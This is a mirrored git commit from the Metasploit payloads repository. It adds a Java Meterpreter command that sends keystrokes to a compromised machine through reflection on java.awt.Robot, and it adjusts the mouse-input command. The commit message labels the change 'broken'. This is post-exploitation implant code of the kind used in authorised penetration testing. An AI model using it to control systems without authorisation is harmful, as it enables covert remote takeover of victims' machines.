1
mirror of https://github.com/rapid7/metasploit-payloads synced 2024-11-26 17:41:08 +01:00

add broken stdapi_ui_send_keys

This commit is contained in:
Tim W 2019-06-11 19:25:39 +08:00
parent 8afcc9a640
commit 0e3f1cec66
3 changed files with 31 additions and 21 deletions

View File

@ -52,6 +52,7 @@ public class Loader implements ExtensionLoader {
mgr.registerCommand("stdapi_sys_process_get_processes", stdapi_sys_process_get_processes.class, V1_2);
mgr.registerCommand("stdapi_ui_desktop_screenshot", stdapi_ui_desktop_screenshot.class, V1_4);
mgr.registerCommand("stdapi_ui_send_mouse", stdapi_ui_send_mouse.class, V1_4);
mgr.registerCommand("stdapi_ui_send_keys", stdapi_ui_send_keys.class, V1_4);
mgr.registerCommand("webcam_audio_record", webcam_audio_record.class, V1_4);
}
}

View File

@ -5,28 +5,26 @@ import com.metasploit.meterpreter.TLVPacket;
import com.metasploit.meterpreter.TLVType;
import com.metasploit.meterpreter.command.Command;
import javax.imageio.IIOImage;
import javax.imageio.ImageIO;
import javax.imageio.ImageWriteParam;
import javax.imageio.ImageWriter;
import java.awt.*;
import java.awt.event.KeyEvent;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Method;
public class stdapi_ui_send_keys_V1_4 extends stdapi_ui_send_keys implements Command {
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
String keyString = request.getStringValue(TLVType.TLV_TYPE_KEYS_SEND);
pressKeyString(keyString);
return ERROR_SUCCESS;
}
/*
private void pressKeyString(String keyString) throws AWTException {
Robot robot = new Robot();
private void pressKeyString(String keyString) throws Exception {
RobotReflect robot = new RobotReflect();
for (int i=0;i<keyString.length();i++) {
int keyCode = keyString.charAt(i);
robot.keyPress(keyCode);
robot.keyRelease(keyCode);
}
}
/*
private void pressUnicode(Robot r, int key_code)
{
r.keyPress(KeyEvent.VK_ALT);
@ -40,5 +38,26 @@ public class stdapi_ui_send_keys_V1_4 extends stdapi_ui_send_keys implements Com
}
r.keyRelease(KeyEvent.VK_ALT);
}
*/
*/
private static class RobotReflect {
Object robotObject;
Method keyPress;
Method keyRelease;
RobotReflect() throws Exception {
Class robotClass = Class.forName("java.awt.Robot");
robotObject = robotClass.newInstance();
keyPress = robotClass.getMethod("keyPress", int.class);
keyRelease = robotClass.getMethod("keyRelease", int.class);
}
void keyPress(int i) throws Exception {
keyPress.invoke(robotObject, i);
}
void keyRelease(int i) throws Exception {
keyRelease.invoke(robotObject, i);
}
}
}

View File

@ -22,7 +22,6 @@ public class stdapi_ui_send_mouse_V1_4 extends stdapi_ui_send_mouse implements C
switch (action) {
case 1:
robot.mousePress(InputEvent.BUTTON1_MASK);
robot.delay(100);
robot.mouseRelease(InputEvent.BUTTON1_MASK);
break;
case 2:
@ -33,7 +32,6 @@ public class stdapi_ui_send_mouse_V1_4 extends stdapi_ui_send_mouse implements C
break;
case 4:
robot.mousePress(InputEvent.BUTTON3_MASK);
robot.delay(100);
robot.mouseRelease(InputEvent.BUTTON3_MASK);
break;
case 5:
@ -52,7 +50,6 @@ public class stdapi_ui_send_mouse_V1_4 extends stdapi_ui_send_mouse implements C
Method mouseMove;
Method mousePress;
Method mouseRelease;
Method delay;
RobotReflect() throws Exception {
Class robotClass = Class.forName("java.awt.Robot");
@ -60,7 +57,6 @@ public class stdapi_ui_send_mouse_V1_4 extends stdapi_ui_send_mouse implements C
mouseMove = robotClass.getMethod("mouseMove", int.class, int.class);
mousePress = robotClass.getMethod("mousePress", int.class);
mouseRelease = robotClass.getMethod("mouseRelease", int.class);
delay = robotClass.getMethod("delay", int.class);
}
void mouseMove(int x, int y) throws Exception {
@ -74,11 +70,5 @@ public class stdapi_ui_send_mouse_V1_4 extends stdapi_ui_send_mouse implements C
void mouseRelease(int mouseMask) throws Exception {
mouseRelease.invoke(robotObject, mouseMask);
}
void delay(int i) throws Exception {
delay.invoke(robotObject, i);
}
}
}